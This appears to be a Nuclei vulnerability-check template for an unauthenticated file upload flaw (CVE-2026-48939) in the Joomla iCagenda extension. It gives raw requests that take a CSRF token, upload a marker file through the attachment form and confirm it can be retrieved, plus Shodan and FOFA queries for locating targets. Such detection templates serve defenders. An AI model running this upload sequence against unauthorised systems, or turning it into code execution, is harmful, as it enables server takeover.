Description
iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.
iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.
id: CVE-2026-48939
info:
name: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE
author: 0x_Akoko
severity: critical
description: |
iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.
impact: |
Attackers can upload and execute arbitrary PHP code, leading to full server compromise.
remediation: |
Update to the latest version of iCagenda extension.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-48939
- https://github.com/ChiefYoru/CVE-2026-48939_PoC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-48939
epss-score: 0.20069
epss-percentile: 0.97308
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
vendor: joomlic
product: icagenda
framework: joomla
shodan-query: http.html:"com_icagenda"
fofa-query: body="com_icagenda"
tags: cve,cve2026,joomla,icagenda,file-upload,rce,intrusive,kev,vkev
variables:
marker: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /administrator/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "icagenda") || contains(body, "iCagenda")'
condition: and
internal: true
extractors:
- type: regex
name: csrf
group: 1
internal: true
regex:
- 'name="([a-f0-9]{32})"\s+value="1"'
- raw:
- |
POST /index.php?option=com_icagenda&task=registration.submit HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----iCagendaBoundary48939
X-Requested-With: XMLHttpRequest
Referer: {{BaseURL}}/
------iCagendaBoundary48939
Content-Disposition: form-data; name="{{csrf}}"
1
------iCagendaBoundary48939
Content-Disposition: form-data; name="jform[attachment]"; filename="{{marker}}.txt"
Content-Type: text/plain
CVE-2026-48939-FILE-UPLOAD-CONFIRMED
------iCagendaBoundary48939--
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 303'
internal: true
- raw:
- |
GET /images/icagenda/frontend/attachments/{{marker}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "CVE-2026-48939-FILE-UPLOAD-CONFIRMED")'
condition: and
# digest: 4b0a004830460221009ea7103099d06c9593d0f9fdd1a332e2ec1ec2ac155c3ddf6b5a29d6eb01f4eb022100eb2b06c45cbac7b1d246ec1e59d72263b607372de8f6ce104e45b1ca3e96a3b6:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.